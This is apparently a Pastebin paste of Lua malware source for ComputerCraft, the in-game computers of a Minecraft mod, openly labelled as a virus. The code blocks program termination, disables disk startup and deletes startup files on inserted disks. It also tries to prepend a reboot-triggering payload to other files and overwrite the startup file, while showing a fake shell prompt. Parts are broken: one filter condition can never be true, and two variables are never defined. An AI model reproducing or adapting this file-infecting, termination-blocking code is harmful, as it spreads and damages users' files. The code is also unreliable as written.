Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --BY PIT_ANONIM
- local viruscode = [[
- print("First number:")
- a = read()
- print("Second number:")
- b = read()
- print("Sign:")
- c = read()
- if c == "+" then
- result = a + b
- elseif c == "-" then
- result = a - b
- elseif c == "*" then
- result = a * b
- elseif c == "/" then
- result = a / b
- end
- print(result)
- os.reboot()
- ]]
- local firststring = 'print("First number:")'
- os.pullEvent = os.pullEventRaw
- local eventone = os.pullEvent()
- settings.set("shell.allow_disk_startup", false)
- settings.save(".settings")
- function eee()
- while true do
- while side ~= 1 do
- sleep(0)
- if disk.isPresent("bottom") or disk.isPresent("right") or disk.isPresent("left") or disk.isPresent("front") or disk.isPresent("top") then
- side = 1
- else
- side = nil
- end
- end
- if side == 1 then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- end
- end
- sleep(0)
- end
- end
- function ddd()
- dir = ""
- local FileList = fs.list(dir)
- while true do
- for _,file in ipairs (FileList) do
- if not file == "rom/" and file == "disk/" and file == ".settings" and fs.isDir(file) then
- if file ~= virusname then
- local nonvirusfile = fs.open(dir ..file, "r")
- local pr = nonvirusfile.readLine()
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- if pr ~= firststring and file ~= "startup" then
- local virusfile = fs.open(dir ..file, "w")
- virusfile.writeLine(viruscode)
- virusfile.writeLine(text)
- virusfile.close()
- end
- elseif file == "startup" then
- local nonvirusfile = fs.open(dir ..file, "r")
- local text = nonvirusfile.readAll()
- nonvirusfile.close()
- local virusfile = fs.open("startup", "w")
- virusfile.writeLine(startupcode)
- virusfile.close()
- end
- end
- end
- sleep(0)
- end
- end
- function lol()
- while true do
- term.setTextColor(colors.yellow)
- write("> ")
- term.setTextColor(colors.white)
- a = read()
- shell.run(a)
- end
- end
- parallel.waitForAll(lol, eee, ddd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement